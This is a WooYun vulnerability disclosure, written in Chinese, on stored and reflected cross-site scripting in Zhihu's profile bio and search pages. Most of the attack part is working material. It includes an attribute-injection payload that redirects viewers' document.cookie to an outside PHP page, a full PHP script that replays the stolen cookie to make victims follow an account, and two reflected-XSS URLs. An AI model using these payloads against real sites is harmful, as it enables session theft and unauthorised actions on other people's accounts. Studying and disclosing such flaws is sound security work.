WooYun.org

知乎在编辑个人资料“一句话介绍”处，没有过滤双引号（过滤了<、>),导致span后内容可控,即形如<span 可控内容></span>，在啤酒@wooyun大神的指点下，终于想到在一句话介绍这里写入test" onmousemove="alert(/xss/) 只要其他用户浏览我的主页，并且鼠标点到介绍位置，就会触发代码执行，xss。

不知道怎样添加外部js，本来是打算这样

<span class="xmsw" title="dd" onmousemove=e=document.createElement('script');e.setAttribute('src','1.js');document.body.appendChild(e); id="test">test</span>

无奈，服务器端有长度限制。



最后还是盗取cookie吧，大家都懂，就不细说了，一句话中写入

x"onmouseout=window.location='http://test/test.php?c='+document.cookie//

最终结果:

<span class="xmsw" title="x"onmouseout=window.location='http://test/test.php?c='+document.cookie//"> x"onmouseout=window.location='…</span>



但是盗取cookie有什么用？写一个php证明一下，这个cookie可以做很多事:



<?php



function uc_fopen($url,$post = '', $cookie = '',$limit = 0, $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE) {

$return = '';

$matches = parse_url($url);

!isset($matches['host']) && $matches['host'] = '';

!isset($matches['path']) && $matches['path'] = '';

!isset($matches['query']) && $matches['query'] = '';

!isset($matches['port']) && $matches['port'] = '';

$host = $matches['host'];

$path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/';

$port = !empty($matches['port']) ? $matches['port'] : 80;

if($post) {

$out = "POST $path HTTP/1.0\r\n";

$out .= "Accept: */*\r\n";

//$out .= "Referer: $boardurl\r\n";

$out .= "Accept-Language: zh-cn\r\n";

$out .= "Content-Type: application/x-www-form-urlencoded\r\n";

$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";

$out .= "Host: $host\r\n";

$out .="Referer: http://www.zhihu.com/topic/%E7%94%B5%E5%BD%B1\r\n";

$out .= 'Content-Length: '.strlen($post)."\r\n";

$out .= "Connection: Close\r\n";

$out .= "Cache-Control: no-cache\r\n";

$out .= "Cookie: $cookie\r\n\r\n";

$out .= $post;

} else {

$out = "GET $path HTTP/1.0\r\n";

$out .= "Accept: */*\r\n";

//$out .= "Referer: $boardurl\r\n";

$out .= "Accept-Language: zh-cn\r\n";

$out .= "User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";

$out .= "Host: $host\r\n";

$out .= "Connection: Close\r\n";

$out .= "Cookie: $cookie\r\n\r\n";

}

$fp = @fsockopen(($ip ? $ip : $host), $port, $errno, $errstr, $timeout);

if(!$fp) {

return '';//note $errstr : $errno \r\n

} else {

stream_set_blocking($fp, $block);

stream_set_timeout($fp, $timeout);

@fwrite($fp, $out);

$status = stream_get_meta_data($fp);

if(!$status['timed_out']) {

while (!feof($fp)) {

if(($header = @fgets($fp)) && ($header == "\r\n" || $header == "\n")) {

break;

}

}



$stop = false;

while(!feof($fp) && !$stop) {

$data = fread($fp, ($limit == 0 || $limit > 8192 ? 8192 : $limit));

$return .= $data;

if($limit) {

$limit -= strlen($data);

$stop = $limit <= 0;

}

}

}

@fclose($fp);

return $return;

}

}

$cookie = $_GET['c'];

echo $cookie;

$data ='type=people&id=28bb2b6ff09a5072198351434ab2efff&status=1';

$url='http://www.zhihu.com/follow';

echo uc_fopen($url,$data,$cookie);

?>

这个php主要实现添加对yolfilm账号的关注。当有人浏览我的个人资料，当鼠标移动触发xss，就会跳转到这个页面，进而使用php对yolfilm添加关注。 其他的就不演示了，只要找到操作的数据包，然后使用php脚本提交就可以实现。





而且，知乎所有提交输入的地方都没有验证码，导致可以自动提交，这个也给php脚本提交带来了便利....



另外附送两个反射xss：

http://www.zhihu.com/people/yolfilm/search?pq=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&type=all

http://www.zhihu.com/search?q=%22/%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E